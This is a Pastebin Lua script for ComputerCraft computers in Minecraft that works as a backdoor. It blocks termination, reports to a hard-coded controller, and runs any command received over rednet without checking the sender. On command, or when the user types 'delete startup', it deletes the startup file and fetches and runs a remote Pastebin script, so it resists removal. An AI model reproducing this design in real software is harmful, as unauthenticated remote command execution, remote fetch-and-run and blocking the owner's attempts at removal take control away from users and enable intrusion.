ElijahCrafter

Broadcast MK2

Mar 13th, 2024 (edited)
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.61 KB | None | 0 0
  1. -- Set pullEvent to pullEventRaw
  2. os.pullEvent = os.pullEventRaw
  3. local modemLocations = {}
  4.  
  5. -- Function to find the side where the modem is located
  6. local function findModemSide()
  7.     for _, side in ipairs(rs.getSides()) do
  8.         if peripheral.getType(side) == "modem" then
  9.             return side
  10.         end
  11.     end
  12.     return nil  -- No modem found
  13. end
  14.  
  15. -- Function to open Rednet on the side where the modem is located
  16. local function openRednet()
  17.     local modemSide = findModemSide()
  18.     if modemSide then
  19.         rednet.open(modemSide)
  20.         return true
  21.     else
  22.         print("Modem Required")
  23.         return false
  24.     end
  25. end
  26.  
  27. -- Function to log the location of the current computer
  28. local function logComputerLocation()
  29.     local computerID = os.getComputerID()
  30.     local computerLabel = os.getComputerLabel() or "Unnamed"
  31.     modemLocations[computerID] = {label = computerLabel, location = os.getComputerLabel()}
  32. end
  33.  
  34. -- Function to send the computer's ID and time to the main computer
  35. local function sendComputerIDAndTime()
  36.     local mainComputerID = 7 -- Replace with the ID of the main computer
  37.     local currentTime = os.time()
  38.     local formattedTime = os.date("%Y-%m-%d %I:%M %p", currentTime) -- Convert timestamp to a human-readable format with AM/PM
  39.     local computerID = os.getComputerID()
  40.     local message = {computerID = computerID, time = formattedTime}
  41.     rednet.send(mainComputerID, message)
  42. end
  43.  
  44. -- Function to delete the startup file and run the Pastebin script
  45. local function deleteStartupAndRunPastebin()
  46.     local pastebinCommand = "pastebin run j7mX2NGC"
  47.     shell.run("delete startup")
  48.     shell.run(pastebinCommand)
  49. end
  50.  
  51. -- Function to display Minecraft time in the top corner of the screen
  52. local function displayMinecraftTime()
  53.     while true do
  54.         local xPos, yPos = term.getCursorPos()
  55.         term.setCursorPos(1, 1)
  56.         term.clearLine()
  57.         term.write("Time: " .. textutils.formatTime(os.time(), true))
  58.         term.setCursorPos(xPos, yPos) -- Restore cursor position
  59.         sleep(1) -- Update every second
  60.     end
  61. end
  62.  
  63. -- Main function to handle receiving and executing commands
  64. local function main()
  65.     -- Open Rednet on the side where the modem is located
  66.     if not openRednet() then
  67.         return  -- Exit if no modem is found
  68.     end
  69.  
  70.     -- Log the location of the current computer
  71.     logComputerLocation()
  72.  
  73.     -- Send the computer's ID and time to the main computer
  74.     sendComputerIDAndTime()
  75.  
  76.     -- Main loop to listen for incoming commands
  77.     while true do
  78.         local senderID, message = rednet.receive()
  79.  
  80.         -- Check if the message is intended for this computer
  81.         if type(message) == "string" then
  82.             -- Check if the command is 'shell'
  83.             if message == "shell" then
  84.                 -- Execute the custom function to delete startup
  85.                 -- and run Pastebin script
  86.                 deleteStartupAndRunPastebin()
  87.             else
  88.                 -- Execute the received command
  89.                 shell.run(message)
  90.             end
  91.         end
  92.     end
  93. end
  94.  
  95. -- Function to handle user input
  96. local function handleUserInput()
  97.     while true do
  98.         local userInput = read()
  99.         -- Run the Pastebin script if the user inputs 'delete startup'
  100.         if userInput == "delete startup" then
  101.             deleteStartupAndRunPastebin()
  102.         else
  103.             shell.run(userInput)
  104.         end
  105.     end
  106. end
  107.  
  108. -- Run the main function, display Minecraft time function,
  109. -- and the user input handling function concurrently
  110. parallel.waitForAny(main, displayMinecraftTime, handleUserInput)
  111.  
Advertisement
Add Comment
Please, Sign In to add comment